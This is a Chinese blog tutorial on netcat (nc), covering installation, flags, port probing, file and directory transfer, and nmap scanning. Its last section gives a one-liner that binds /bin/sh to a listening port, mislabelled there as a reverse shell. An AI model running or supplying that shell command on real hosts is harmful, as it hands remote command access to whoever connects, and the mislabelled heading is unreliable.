nc命令简单使用

linux nc命令

简介:

nc是netcat的简称,有着网络界瑞士军刀的美称,被称为简单可靠的操作系统的网络工具。

[root@m01 ~]$yum provides nc
已加载插件:fastestmirror
Loading mirror speeds from cached hostfile
 * base: mirrors.aliyun.com
 * extras: mirrors.aliyun.com
 * updates: mirrors.aliyun.com
2:nmap-ncat-6.40-19.el7.x86_64 : Nmap's Netcat replacement
源    :base
匹配来源:
提供    :nc
2:nmap-ncat-6.40-16.el7.x86_64 : Nmap's Netcat replacement
源    :@base
匹配来源:
提供    :nc

yum -y install nmap-ncat

功能

  • 监听任意TCP/UDP端口的侦听
  • 端口的扫描
  • 机器之间传输文件
  • 机器之间网络测速

控制参数

参数 功能
-l 启用NC的侦听模式,作为服务端开启侦听端口
-p 指定端口
-s 指定发送数据的源IP地址,适用于多网卡机
-u 指定nc使用的udp协议,默认为tcp
-v 输出交互或者出错信息,新手调试时尤为重要
-w 超时秒数,后跟数字
-z zero的首字母,表示扫描时不发送任何数据
探测主机端口是否启动
nc -z 10.0.0.61 80;echo $?
传输文件:

tcp:
手动输入在这里插入图片描述

udp

在线状态
nc  -ul 10.0.0.61 42006     #开启服务端侦听的端口
nc  -uv 10.0.0.61 42006     #连接NC服务侦听的端口
文件传输
nc -l 1234 >file.txt         #nc服务端监听,并将收到的文件输入到file.txt
nc 10.0.0.61 1234 <file.txt  #nc客户端连接NC服务端,并导入要传输的文件file.txt
目录传输
nc -l 1234 |tar xzvf -   #服务端
tar czvf - Python-3.7.0 |nc 10.0.0.61 1234  #客户端
端口的批量扫描还是nmap好用

nmap批量探测端口

nmap 10.0.0.61 1-65534
反向shell

反向shell

nc -l -p 1234 -e /bin/sh   #服务端开启反向shell
nc 10.0.0.61 1234          #客户端连接shell
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章